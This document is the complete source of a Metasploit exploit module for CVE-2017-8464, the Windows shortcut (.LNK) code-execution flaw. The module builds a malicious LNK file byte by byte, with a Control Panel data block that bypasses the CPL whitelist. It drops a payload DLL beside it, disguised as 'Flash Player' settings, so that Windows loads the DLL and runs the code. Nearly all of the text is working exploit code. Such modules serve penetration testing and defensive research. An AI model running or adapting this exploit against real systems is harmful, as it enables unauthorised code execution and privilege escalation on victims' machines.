Microsoft Windows LNK File Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
  
attr_accessor :exploit_dll_name  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'LNK Code Execution Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)  
that contain a dynamic icon, loaded from a malicious DLL.  
  
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is  
similar except an additional SpecialFolderDataBlock is included. The folder ID set  
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass  
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary  
DLL file.  
  
The PATH option must be an absolute path to a writeable directory which is indexed for  
searching. If no PATH is specified, the module defaults to %USERPROFILE%.  
},  
'Author' =>  
[  
'Uncredited', # vulnerability discovery  
'Yorick Koster', # msf module  
'Spencer McIntyre' # msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2017-8464'],  
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],  
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup  
['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format  
['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],  
['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'FileDropperDelay' => 15,  
'WfsDelay' => 30  
},  
'Arch' => [ARCH_X86, ARCH_X64],  
'Payload' =>  
{  
'Space' => 2048  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]  
],  
'DefaultTarget' => 0, # Default target is Automatic  
'DisclosureDate' => 'Jun 13 2017'  
)  
)  
  
register_options(  
[  
OptString.new('FILENAME', [false, 'The LNK file']),  
OptString.new('DLLNAME', [false, 'The DLL file containing the payload']),  
OptString.new('PATH', [false, 'An explicit path to where the files should be written to'])  
]  
)  
  
register_advanced_options(  
[  
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),  
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])  
]  
)  
end  
  
def check  
if session.sys.process['SearchIndexer.exe']  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
def get_name(option, default_ext)  
name = datastore[option].to_s.strip  
name = "#{rand_text_alpha(16)}.#{default_ext}" if name.blank?  
name  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if session.platform != 'windows'  
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')  
end  
  
if check == Exploit::CheckCode::Safe  
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')  
end  
  
if sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86  
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')  
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')  
end  
  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')  
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']  
datastore['EXE::Path'] = path  
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")  
  
path = datastore['PATH'] || session.fs.file.expand_path("%USERPROFILE%")  
path.chomp!("\\")  
  
dll_path = "#{path}\\#{get_name('DLLNAME', 'dll')}"  
write_file(dll_path, generate_payload_dll)  
  
lnk_path = "#{path}\\#{get_name('FILENAME', 'lnk')}"  
write_file(lnk_path, generate_link(dll_path))  
register_files_for_cleanup(dll_path, lnk_path)  
end  
  
def file_rm(file)  
if file_dropper_delete(session, file) && @dropped_files && file_dropper_deleted?(session, file, true)  
@dropped_files.delete(file)  
end  
end  
  
def generate_link(path)  
vprint_status("Generating LNK file to load: #{path}")  
path += "\x00" # Do not use << here  
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name  
comment = datastore['LnkComment'].dup << "\x00"  
  
# Control Panel Applet ItemID with our DLL  
cpl_applet = [  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00  
].pack('C*')  
cpl_applet << [path.length].pack('v')  
cpl_applet << [display_name.length].pack('v')  
cpl_applet << path.unpack('C*').pack('v*')  
cpl_applet << display_name.unpack('C*').pack('v*')  
cpl_applet << comment.unpack('C*').pack('v*')  
  
# LinkHeader  
ret = [  
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C  
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046  
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)  
0x00, 0x00, 0x00, 0x00, # FileAttributes  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime  
0x00, 0x00, 0x00, 0x00, # FileSize  
0x00, 0x00, 0x00, 0x00, # IconIndex  
0x00, 0x00, 0x00, 0x00, # ShowCommand  
0x00, 0x00, # HotKey  
0x00, 0x00, # Reserved1  
0x00, 0x00, 0x00, 0x00, # Reserved2  
0x00, 0x00, 0x00, 0x00 # Reserved3  
].pack('C*')  
  
# IDList  
idlist_data = ''  
# ItemID = ItemIDSize (2 bytes) + Data (variable)  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
# All Control Panel Items  
0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
# ItemID = ItemIDSize (2 bytes) + Data (variable)  
idlist_data << [cpl_applet.length + 2].pack('v')  
idlist_data << cpl_applet  
idlist_data << [0x00].pack('v') # TerminalID  
  
# LinkTargetIDList  
ret << [idlist_data.length].pack('v') # IDListSize  
ret << idlist_data  
  
# ExtraData  
# SpecialFolderDataBlock  
ret << [  
0x10, 0x00, 0x00, 0x00, # BlockSize  
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005  
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)  
0x14, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList  
].pack('C*')  
# TerminalBlock  
ret << [0x00, 0x00, 0x00, 0x00].pack('V')  
ret  
end  
end  
`